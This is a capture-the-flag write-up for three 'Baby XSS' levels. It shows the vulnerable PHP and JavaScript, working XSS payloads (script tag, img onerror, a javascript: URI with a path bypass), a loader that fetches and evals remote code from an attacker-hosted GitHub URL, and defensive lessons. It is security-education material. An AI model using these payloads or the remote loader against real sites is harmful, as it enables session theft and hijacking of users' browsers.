Baby XSS Challenge – Levels 1 to 3 (Detailed Analysis)

This document is based on an analysis of the official Baby XSS Challenge PDFs
and documents Levels 1–3 with root causes, exploitation paths, and defensive lessons.

Challenges analyzed:

  • Baby XSS 01
  • Baby XSS 02
  • Baby XSS 03 (including two distinct exploitation paths)

For learning and defensive security purposes only.


Level 1 – Baby XSS 01 (Reflected XSS)

Overview

The application provides a simple input field.
The backend directly echoes user input into the HTML output without any escaping.

<?php
echo $_GET["payload"];
?>

Vulnerability Type

Reflected XSS

Root Cause

  • No output encoding
  • Full trust in user-controlled input

Exploitation

Injected HTML is interpreted and executed by the browser.

Example Payload

<script>
  alert("XSS");
</script>

Why It Works

The browser parses the injected <script> tag as executable JavaScript.

Defensive Takeaway

  • Always escape output (htmlspecialchars, templating engines)
  • Never render raw user input

Level 2 – Baby XSS 02 (DOM-Based XSS)

Overview

There is no visible input field.
JavaScript reads data from window.location.hash and injects it into the DOM.

var q = location.hash.substring(1);
query.innerHTML = `Hello ${decodeURI(q)}`;

Vulnerability Type

DOM-Based XSS

Root Cause

  • Use of innerHTML
  • User-controlled data from URL hash
  • decodeURI() does not sanitize HTML

Exploitation Logic

Although <script> tags are blocked, HTML attributes can still execute JavaScript.

Example Payload (URL)

#<img src="x" onerror="alert('XSS')" />

Why It Works

  • innerHTML parses injected HTML
  • Event handlers (onerror) execute JavaScript

Defensive Takeaway

  • Never use innerHTML with untrusted input
  • Prefer textContent
  • Sanitize DOM input

Level 3 – Baby XSS 03 (Two Exploitation Paths)

Overview

The application accepts a URL as input and generates three links:

  • /friends
  • /post
  • /settings

The backend escapes HTML using htmlspecialchars().

$escaped = htmlspecialchars($_GET['payload']);

Vulnerability Type

Context-based XSS


Exploitation Path 1 – javascript: URI Injection

Root Cause

  • HTML escaping is applied
  • Protocol validation is missing
  • href attributes allow executable schemes

Exploit Logic

Even without HTML tags, JavaScript can be executed via the href attribute.

Payload

javascript:alert('XSS');

Path Issue & Bypass

The application appends paths like /friends, breaking JavaScript execution.

Final Working Payload

javascript:alert('XSS');/

Why It Works

  • Browsers execute javascript: URLs
  • The trailing / turns appended paths into comments

Defensive Takeaway

  • Enforce protocol allowlists (https:// only)
  • Never allow javascript: URIs

Exploitation Path 2 – External Script Injection (Advanced)

Root Cause

  • A script is loaded from a non-existing external source
  • No integrity or origin validation

Exploit Logic

An attacker hosts a malicious JavaScript file externally (e.g., GitHub RAW) and injects a small loader payload.

Loader Payload Example

fetch("https://raw.githubusercontent.com/attacker/repo/main/payload.js")
  .then((r) => r.text())
  .then((code) => eval(code));

Why This Is Dangerous

  • Large payloads can be modified remotely
  • Injection only needs to happen once
  • Harder to detect and remove

Defensive Takeaway

  • Use Subresource Integrity (SRI)
  • Restrict script sources via CSP
  • Never load scripts dynamically from user input

Global Security Lessons

  • Escaping alone is not enough – context matters
  • Validate where input is used (HTML, JS, URL, DOM)
  • Avoid dangerous sinks (innerHTML, eval, inline JS)
  • Use Content Security Policy (CSP)
  • Treat URLs and hashes as untrusted input

This document is intended for ethical hacking education, secure development training, and defensive awareness.